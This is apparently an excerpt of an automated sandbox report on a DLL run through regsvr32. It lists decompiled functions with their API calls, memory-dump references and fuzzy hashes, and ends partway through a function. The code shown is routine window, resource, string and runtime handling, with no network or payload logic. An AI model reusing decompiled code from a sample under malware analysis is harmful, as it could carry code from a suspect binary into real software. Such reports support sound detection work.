Uniqueness

Uniqueness Score: -1.00%

Function 6EB56EED Relevance: 6.1, APIs: 4, Instructions: 52
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E6EB56EED(void* __ecx, void* __edx, void* __eflags) {
				void* _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t9;
				void* _t11;
				int _t13;
				void* _t23;
				void* _t29;
				intOrPtr* _t31;
				void* _t33;
				void* _t35;

				_t29 = __edx;
				_push(__ecx);
				_t23 = __ecx;
				_t9 = E6EB47C96(__eflags, 0x10);
				_t37 = _t9;
				if(_t9 == 0) {
					_t31 = 0;
					__eflags = 0;
				} else {
					_t31 = E6EB56ECE(_t9, _t37);
				}
				_t11 = GetCurrentProcess();
				_t13 = DuplicateHandle(GetCurrentProcess(),  *(_t23 + 4), _t11,  &_v8, 0, 0, 2);
				_t35 = _t33;
				if(_t13 == 0) {
					if(_t31 != 0) {
						 *((intOrPtr*)( *_t31 + 4))(1);
					}
					E6EB60BB0(_t23, _t29, _t31, _t35, GetLastError(),  *((intOrPtr*)(_t23 + 0xc)));
				}
				 *((intOrPtr*)(_t31 + 4)) = _v8;
				 *((intOrPtr*)(_t31 + 8)) =  *((intOrPtr*)(_t23 + 8));
				return _t31;
			}

APIs

Part of subcall function 6EB47C96: _malloc.LIBCMT ref: 6EB47CB4

GetCurrentProcess.KERNEL32(?,00000000,00000000,00000002), ref: 6EB56F21
GetCurrentProcess.KERNEL32(?,00000000), ref: 6EB56F27
DuplicateHandle.KERNEL32(00000000), ref: 6EB56F2A
GetLastError.KERNEL32(?), ref: 6EB56F45

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: CurrentProcess$DuplicateErrorHandleLast_malloc
String ID:
API String ID: 3704204646-0
Opcode ID: 0321d63bc3e8285b2cd2f1dc3b34b923683c90b7144d64a182205d4030bdeae8
Instruction ID: 1d7bccbd3534fd1324a3ac21a54a948d94c30556fcf58ae3c666437228b5fe5e
Opcode Fuzzy Hash: 0321d63bc3e8285b2cd2f1dc3b34b923683c90b7144d64a182205d4030bdeae8
Instruction Fuzzy Hash: 4C017C71A10341BBEF109BA6CD49F9A7FADEF84354F144465B905CB288EB71DC10CB60

Uniqueness

Uniqueness Score: -1.00%

Function 6EB4D0B7 Relevance: 6.0, APIs: 4, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E6EB4D0B7(void* __ebx, void* __ecx, struct HWND__* _a4, int _a8, int _a12, long _a16, struct HWND__* _a20, struct HWND__* _a24) {
				void* __edi;
				void* __esi;
				void* __ebp;
				struct HWND__* _t16;
				struct HWND__* _t18;
				struct HWND__* _t20;
				void* _t22;
				void* _t23;
				void* _t24;
				struct HWND__* _t25;

				_t23 = __ecx;
				_t22 = __ebx;
				_t24 = GetTopWindow;
				_t16 = GetTopWindow(_a4);
				while(1) {
					_t25 = _t16;
					if(_t25 == 0) {
						break;
					}
					__eflags = _a24;
					if(__eflags == 0) {
						SendMessageA(_t25, _a8, _a12, _a16);
					} else {
						_t20 = E6EB4C759(_t23, _t24, _t25, __eflags, _t25);
						__eflags = _t20;
						if(__eflags != 0) {
							_push(_a16);
							_push(_a12);
							_push(_a8);
							_push( *((intOrPtr*)(_t20 + 0x20)));
							_push(_t20);
							E6EB4CDCC(_t22, _t24, _t25, __eflags);
						}
					}
					__eflags = _a20;
					if(_a20 != 0) {
						_t18 = GetTopWindow(_t25);
						__eflags = _t18;
						if(_t18 != 0) {
							E6EB4D0B7(_t22, _t23, _t25, _a8, _a12, _a16, _a20, _a24);
						}
					}
					_t16 = GetWindow(_t25, 2);
				}
				return _t16;
			}

APIs

GetTopWindow.USER32(00000000), ref: 6EB4D0C7
GetTopWindow.USER32(00000000), ref: 6EB4D106
GetWindow.USER32(00000000,00000002), ref: 6EB4D124

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: Window
String ID:
API String ID: 2353593579-0
Opcode ID: 6c9ea01f161ce013755418e712a5ad520f81a88c1705869769e028cbad46b99e
Instruction ID: 046c0bd973d77ae22e207c5dac0cfcfd85e4415cdab1da9f27b5f213a92413b0
Opcode Fuzzy Hash: 6c9ea01f161ce013755418e712a5ad520f81a88c1705869769e028cbad46b99e
Instruction Fuzzy Hash: AF01023200059BFBCF235ED1AC14E9E3E2AEF49350F018425FE1066169CB36C566EFA2

Uniqueness

Uniqueness Score: -1.00%

Function 6EB55ADC Relevance: 6.0, APIs: 4, Instructions: 49
memoryCOMMON

Download Yara Rule

C-Code - Quality: 35%

			E6EB55ADC(void* __ecx, short* _a4) {
				int _v8;
				int _v12;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				int _t9;
				char* _t10;
				char* _t12;
				void* _t14;
				char* _t15;
				void* _t18;

				_t17 = __ecx;
				_push(__ecx);
				_push(__ecx);
				if(_a4 != 0) {
					__imp__#7(_a4, _t18, _t14);
					_v12 = _t9;
					_t10 = WideCharToMultiByte(0, 0, _a4, _t9, 0, 0, 0, 0);
					_v8 = _t10;
					__imp__#150(0, _t10);
					_t15 = _t10;
					__eflags = _t15;
					if(__eflags == 0) {
						E6EB48B6C(_t15, _t17, WideCharToMultiByte, 0, __eflags);
					}
					WideCharToMultiByte(0, 0, _a4, _v12, _t15, _v8, 0, 0);
					_t12 = _t15;
				} else {
					_t12 = 0;
				}
				return _t12;
			}

APIs

SysStringLen.OLEAUT32(00000000), ref: 6EB55AF4
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,6EB6171F,?,00000018,6EB61A5D,?,?,?), ref: 6EB55B0D
SysAllocStringByteLen.OLEAUT32(00000000,00000000), ref: 6EB55B14
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,?,6EB6171F,?,00000018,6EB61A5D,?,?,?), ref: 6EB55B33

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: Byte$CharMultiStringWide$Alloc
String ID:
API String ID: 3384502665-0
Opcode ID: e81572eb529839b9d0f1b1d171e42cdd84d88b2061f67ef72f10c141d4a56c07
Instruction ID: ed062112b99b2567ebe0c4914b4f1d7dbbd42e9727bc3f7b3bcf5ba5d32ff5c9
Opcode Fuzzy Hash: e81572eb529839b9d0f1b1d171e42cdd84d88b2061f67ef72f10c141d4a56c07
Instruction Fuzzy Hash: EDF014B6502178BF9F222EA68C48CDFBE6DEE9B3A07114025F90992210D2718A51DAF4

Uniqueness

Uniqueness Score: -1.00%

Function 6EB4CA33 Relevance: 6.0, APIs: 4, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E6EB4CA33(void* __ebx, void* __ecx, struct HWND__* _a4, int _a8, intOrPtr _a12) {
				void* __edi;
				void* __esi;
				struct HWND__* _t9;
				struct HWND__* _t10;
				void* _t14;
				void* _t15;
				struct HWND__* _t16;
				struct HWND__* _t17;

				_t14 = __ecx;
				_t13 = __ebx;
				_t9 = GetDlgItem(_a4, _a8);
				_t15 = GetTopWindow;
				_t16 = _t9;
				if(_t16 == 0) {
					L6:
					_t10 = GetTopWindow(_a4);
					while(1) {
						_t17 = _t10;
						__eflags = _t17;
						if(_t17 == 0) {
							goto L10;
						}
						_t10 = E6EB4CA33(_t13, _t14, _t17, _a8, _a12);
						__eflags = _t10;
						if(_t10 == 0) {
							_t10 = GetWindow(_t17, 2);
							continue;
						}
						goto L10;
					}
				} else {
					if(GetTopWindow(_t16) == 0) {
						L3:
						_push(_t16);
						if(_a12 == 0) {
							return E6EB4C72D(_t13, _t14);
						}
						_t10 = E6EB4C759(_t14, _t15, _t16, __eflags);
						__eflags = _t10;
						if(_t10 == 0) {
							goto L6;
						}
					} else {
						_t10 = E6EB4CA33(__ebx, _t14, _t16, _a8, _a12);
						if(_t10 == 0) {
							goto L3;
						}
					}
				}
				L10:
				return _t10;
			}

APIs

GetDlgItem.USER32 ref: 6EB4CA40
GetTopWindow.USER32(00000000), ref: 6EB4CA53

Part of subcall function 6EB4CA33: GetWindow.USER32(00000000,00000002), ref: 6EB4CA9A

GetTopWindow.USER32(?), ref: 6EB4CA83

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: Window$Item
String ID:
API String ID: 369458955-0
Opcode ID: 5197791f91fd9854ed4ea77b4a20618cc6cd84cdd957326ac413608155514a11
Instruction ID: 712edcfa7c66437bae0d4f885c6c09d84576db5c53153f443819040a4844b23f
Opcode Fuzzy Hash: 5197791f91fd9854ed4ea77b4a20618cc6cd84cdd957326ac413608155514a11
Instruction Fuzzy Hash: 10017C325055A6FBAF229EE5CC00E8E3EA8EF45BA0F064020FD149911CD732C519AEE5

Uniqueness

Uniqueness Score: -1.00%

Function 6EB6F93E Relevance: 6.0, APIs: 4, Instructions: 49
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E6EB6F93E(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				intOrPtr _t25;
				void* _t26;
				void* _t28;

				_t25 = _a16;
				if(_t25 == 0x65 || _t25 == 0x45) {
					_t26 = E6EB6F22F(_t28, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
					goto L9;
				} else {
					_t34 = _t25 - 0x66;
					if(_t25 != 0x66) {
						__eflags = _t25 - 0x61;
						if(_t25 == 0x61) {
							L7:
							_t26 = E6EB6F31F(_t28, _a4, _a8, _a12, _a20, _a24, _a28);
						} else {
							__eflags = _t25 - 0x41;
							if(__eflags == 0) {
								goto L7;
							} else {
								_t26 = E6EB6F844(_t28, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
							}
						}
						L9:
						return _t26;
					} else {
						return E6EB6F789(_t28, _t34, _a4, _a8, _a12, _a20, _a28);
					}
				}
			}

APIs

__cftof_l.LIBCMT ref: 6EB6F964

Part of subcall function 6EB6F789: __fltout2.LIBCMT ref: 6EB6F7B5

__cftog_l.LIBCMT ref: 6EB6F98A
__cftoe_l.LIBCMT ref: 6EB6F9BC

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: 4b67acfac0cd44e105915c5a4f4d83a0ca7dcf0535167751929b38c5a1192caf
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: 3911483204418EFBCF125EC4DC519EE3F27FB19354B698815FA2859170C736C5B2AB81

Uniqueness

Uniqueness Score: -1.00%

Function 6EB4F484 Relevance: 6.0, APIs: 4, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E6EB4F484(intOrPtr __ecx, CHAR* _a4) {
				intOrPtr _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t7;
				struct HRSRC__* _t10;
				void* _t13;
				void* _t18;
				void* _t20;
				void* _t21;
				struct HINSTANCE__* _t23;

				_push(__ecx);
				_push(_t20);
				_t13 = 0;
				_t18 = 0;
				_v8 = __ecx;
				_t24 = _a4;
				if(_a4 == 0) {
					L4:
					_t21 = E6EB4EFFE(_t13, _v8, _t18, _t18);
					if(_t18 != 0 && _t13 != 0) {
						FreeResource(_t13);
					}
					_t7 = _t21;
				} else {
					_t23 =  *(E6EB53D20(0, 0, _t20, _t24) + 0xc);
					_t10 = FindResourceA(_t23, _a4, 0xf0);
					if(_t10 == 0) {
						goto L4;
					} else {
						_t7 = LoadResource(_t23, _t10);
						_t13 = _t7;
						if(_t13 != 0) {
							_t18 = LockResource(_t13);
							goto L4;
						}
					}
				}
				return _t7;
			}

APIs

FindResourceA.KERNEL32(?,?,000000F0), ref: 6EB4F4AA
LoadResource.KERNEL32(?,00000000,?,?,?,?,?,6EB52E0A,?,?,6EB45D04,8926F9D4), ref: 6EB4F4B6
LockResource.KERNEL32(00000000,?,?,?,?,?,6EB52E0A,?,?,6EB45D04,8926F9D4), ref: 6EB4F4C3
FreeResource.KERNEL32(00000000,00000000,?,?,?,?,?,6EB52E0A,?,?,6EB45D04,8926F9D4), ref: 6EB4F4DF

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: Resource$FindFreeLoadLock
String ID:
API String ID: 1078018258-0
Opcode ID: a7f0b81718f9f957059aab316a474ca51e302a11471df1d2d280c74934a70ed4
Instruction ID: c4191e991c6385d5a846e32a3f8e181f8268595c3694e8156c51ba22d5476f3b
Opcode Fuzzy Hash: a7f0b81718f9f957059aab316a474ca51e302a11471df1d2d280c74934a70ed4
Instruction Fuzzy Hash: E5F0C8332006AAFBEF219FE58C9896F7EADDF912607125039FA15D7214DF70C9009760

Uniqueness

Uniqueness Score: -1.00%

Function 6EB53255 Relevance: 6.0, APIs: 4, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EB53255() {
				intOrPtr _t16;
				struct HWND__* _t19;
				intOrPtr _t23;
				intOrPtr* _t28;
				void* _t29;

				_t28 =  *((intOrPtr*)(_t29 - 0x20));
				_t23 =  *((intOrPtr*)(_t29 - 0x24));
				if( *((intOrPtr*)(_t29 - 0x28)) != 0) {
					E6EB4F70D(_t23, 1);
				}
				if( *((intOrPtr*)(_t29 - 0x2c)) != 0) {
					EnableWindow( *(_t29 - 0x14), 1);
				}
				if( *(_t29 - 0x14) != 0) {
					_t19 = GetActiveWindow();
					_t34 = _t19 -  *((intOrPtr*)(_t28 + 0x20));
					if(_t19 ==  *((intOrPtr*)(_t28 + 0x20))) {
						SetActiveWindow( *(_t29 - 0x14));
					}
				}
				 *((intOrPtr*)( *_t28 + 0x60))();
				E6EB52CA3(_t23, _t28, 0, _t28, _t34);
				if( *((intOrPtr*)(_t28 + 0x58)) != 0) {
					FreeResource( *(_t29 - 0x18));
				}
				_t16 =  *((intOrPtr*)(_t28 + 0x44));
				return E6EB665D3(_t16);
			}

0x6eb53255
0x6eb53258
0x6eb53260
0x6eb53266
0x6eb53266
0x6eb5326e
0x6eb53275
0x6eb53275
0x6eb5327e
0x6eb53280
0x6eb53286
0x6eb53289
0x6eb5328e
0x6eb5328e
0x6eb53289
0x6eb53298
0x6eb5329d
0x6eb532a5
0x6eb532aa
0x6eb532aa
0x6eb532b0
0x6eb532b8

APIs

EnableWindow.USER32(?,00000001), ref: 6EB53275
GetActiveWindow.USER32 ref: 6EB53280
SetActiveWindow.USER32(?), ref: 6EB5328E
FreeResource.KERNEL32(?), ref: 6EB532AA

Part of subcall function 6EB4F70D: EnableWindow.USER32(?,?), ref: 6EB4F71E

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: Window$ActiveEnable$FreeResource
String ID:
API String ID: 253586258-0
Opcode ID: 39dc51d053d19068bb5b94a6291d58984d8f9333c73e5df3cb63d4e6fc4be5f9
Instruction ID: ae719a8c37e13cacdf63e8c01f383268513d5d11730d68458b41667d77f4a3b9
Opcode Fuzzy Hash: 39dc51d053d19068bb5b94a6291d58984d8f9333c73e5df3cb63d4e6fc4be5f9
Instruction Fuzzy Hash: 40F01430900E59CFCF129FA4C9685ADBBB1FF48702B210828E502B37A8CB3699908F11

Uniqueness

Uniqueness Score: -1.00%

Function 6EB6E9F5 Relevance: 6.0, APIs: 4, Instructions: 31
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 90%

			E6EB6E9F5(void* __ebx, void* __edx, intOrPtr __edi, void* __esi, void* __eflags) {
				signed int _t13;
				intOrPtr _t28;
				void* _t29;
				void* _t30;

				_t30 = __eflags;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ebx;
				_push(0xc);
				_push(0x6eb856e0);
				E6EB66608(__ebx, __edi, __esi);
				_t28 = E6EB6A81F(__ebx, __edx, __edi, _t30);
				_t13 =  *0x6eb8a04c; // 0xfffffffe
				if(( *(_t28 + 0x70) & _t13) == 0) {
					L6:
					E6EB6AEB4(_t22, 0xc);
					 *(_t29 - 4) =  *(_t29 - 4) & 0x00000000;
					_t8 = _t28 + 0x6c; // 0x6c
					_t26 =  *0x6eb8a130; // 0x6eb8a058
					 *((intOrPtr*)(_t29 - 0x1c)) = E6EB6E9B7(_t8, _t26);
					 *(_t29 - 4) = 0xfffffffe;
					E6EB6EA5F();
				} else {
					_t32 =  *((intOrPtr*)(_t28 + 0x6c));
					if( *((intOrPtr*)(_t28 + 0x6c)) == 0) {
						goto L6;
					} else {
						_t28 =  *((intOrPtr*)(E6EB6A81F(_t22, __edx, _t26, _t32) + 0x6c));
					}
				}
				if(_t28 == 0) {
					E6EB66ECD(_t25, _t26, 0x20);
				}
				return E6EB6664D(_t28);
			}

APIs

__getptd.LIBCMT ref: 6EB6EA01

Part of subcall function 6EB6A81F: __getptd_noexit.LIBCMT ref: 6EB6A822
Part of subcall function 6EB6A81F: __amsg_exit.LIBCMT ref: 6EB6A82F

__getptd.LIBCMT ref: 6EB6EA18
__amsg_exit.LIBCMT ref: 6EB6EA26
__lock.LIBCMT ref: 6EB6EA36

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID:
API String ID: 3521780317-0
Opcode ID: 219e24ad91b84addb4ee0c3fc18444d2459a57a42b6e2c6fb96ccc42cf54f7a9
Instruction ID: 9655a5c469ab99f81ccbb73b177b9b59367bad798fd652121a44f625b93e4ff3
Opcode Fuzzy Hash: 219e24ad91b84addb4ee0c3fc18444d2459a57a42b6e2c6fb96ccc42cf54f7a9
Instruction Fuzzy Hash: DEF030329716919EDB51EFF498007CE7FA4BF01728F108959D551AB3C0DB34AA01CF92

Uniqueness

Uniqueness Score: -1.00%

Function 6EB62927 Relevance: 6.0, APIs: 4, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E6EB62927(intOrPtr _a4, intOrPtr _a8) {
				long _t4;
				long _t5;
				void* _t7;
				void* _t8;
				void* _t9;

				_t13 = _a4;
				if(_a4 == 0) {
					__eflags =  *0x6eb8c998;
					if( *0x6eb8c998 == 0) {
						_t5 = GetTickCount();
						 *0x6eb8c998 =  *0x6eb8c998 + 1;
						__eflags =  *0x6eb8c998;
						 *0x6eb89310 = _t5;
					}
					_t4 = GetTickCount() -  *0x6eb89310;
					__eflags = _t4 - 0xea60;
					if(_t4 > 0xea60) {
						__imp__CoFreeUnusedLibraries();
						_t4 = GetTickCount();
						 *0x6eb89310 = _t4;
					}
					return _t4;
				}
				return E6EB628CB(_t7, _t8, _t9, _t13, _a8);
			}

APIs

GetTickCount.KERNEL32 ref: 6EB6294C
GetTickCount.KERNEL32 ref: 6EB62959
CoFreeUnusedLibraries.OLE32 ref: 6EB62968
GetTickCount.KERNEL32 ref: 6EB6296E

Part of subcall function 6EB628CB: CoFreeUnusedLibraries.OLE32 ref: 6EB62913
Part of subcall function 6EB628CB: OleUninitialize.OLE32 ref: 6EB62919

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: CountTick$FreeLibrariesUnused$Uninitialize
String ID:
API String ID: 685759847-0
Opcode ID: a4c42913de9c122881d74e781089aace7cfdc8af0ff5daeafa2d09dfe2d04859
Instruction ID: 875d08110b43ac63da856a85342f5e9eb53a38207899f09b967e09f8c338a737
Opcode Fuzzy Hash: a4c42913de9c122881d74e781089aace7cfdc8af0ff5daeafa2d09dfe2d04859
Instruction Fuzzy Hash: B1E06D30810A689BEF01AFA8C94879A3FA8FBA3310F514977F519976D0C7705590CF91

Uniqueness

Uniqueness Score: -1.00%

Function 6EB5C899 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 172
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E6EB5C899(intOrPtr* __ecx) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t102;
				intOrPtr* _t103;
				signed int _t105;
				signed int _t117;
				intOrPtr* _t121;
				signed int _t137;
				signed int _t145;
				void* _t148;
				signed int _t149;
				signed int _t173;
				signed int _t175;
				void* _t183;
				signed int _t185;
				void* _t186;
				void* _t188;

				_t187 = __ecx;
				_t145 = 0;
				if( *((intOrPtr*)(__ecx + 0x48)) == 0) {
					__eflags =  *(__ecx + 0x40);
					if( *(__ecx + 0x40) == 0) {
						L9:
						_t148 = 0;
						__eflags =  *((intOrPtr*)(_t187 + 0x10)) - _t145;
						 *(_t187 + 0x38) = _t145;
						if( *((intOrPtr*)(_t187 + 0x10)) <= _t145) {
							L12:
							_t102 =  *(_t187 + 0x38);
							__eflags = _t102 - _t145;
							if(__eflags > 0) {
								_t175 = 0x30;
								_t167 =  ~(__eflags > 0) | _t102 * _t175;
								 *((intOrPtr*)(_t187 + 0x3c)) = E6EB47C96( ~(__eflags > 0) | _t102 * _t175, _t167);
							}
							__eflags =  *((intOrPtr*)(_t187 + 0x10)) - _t145;
							_v12 = _t145;
							_v16 = _t145;
							if( *((intOrPtr*)(_t187 + 0x10)) <= _t145) {
								L21:
								_t149 =  *(_t187 + 0x38);
								_t103 =  *((intOrPtr*)(_t187 + 8));
								 *((intOrPtr*)( *_t103 + 0x10))(_t103, _t149,  *((intOrPtr*)(_t187 + 0x3c)), _t149 << 4, _t145);
								_t105 =  *(_t187 + 0x38);
								__eflags = _t105 - _t145;
								if(__eflags != 0) {
									_t173 = 0x10;
									_t156 =  ~(__eflags > 0) | _t105 * _t173;
									 *(_t187 + 0x40) = E6EB47C96( ~(__eflags > 0) | _t105 * _t173, _t156);
								}
								__eflags =  *(_t187 + 0x38) - _t145;
								if( *(_t187 + 0x38) <= _t145) {
									L26:
									E6EB5C087(_t187);
									return  *((intOrPtr*)( *_t187 + 0x10))();
								} else {
									_t183 = 0;
									__eflags = 0;
									do {
										E6EB65E80(_t183,  *(_t187 + 0x40) + _t183, 0, 0x10);
										_t188 = _t188 + 0xc;
										 *((short*)(_t183 +  *(_t187 + 0x40))) = 0;
										_t145 = _t145 + 1;
										_t183 = _t183 + 0x10;
										__eflags = _t145 -  *(_t187 + 0x38);
									} while (_t145 <  *(_t187 + 0x38));
									goto L26;
								}
							} else {
								_v8 = _t145;
								do {
									_t117 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t187 + 0x14)) + _v8 + 0x24)) + 4));
									_v20 = _t117;
									__eflags = _t117 - _t145;
									if(_t117 == _t145) {
										goto L20;
									}
									_t185 = _v12 * 0x30;
									__eflags = _t185;
									do {
										_t121 = E6EB4ABF2( &_v20);
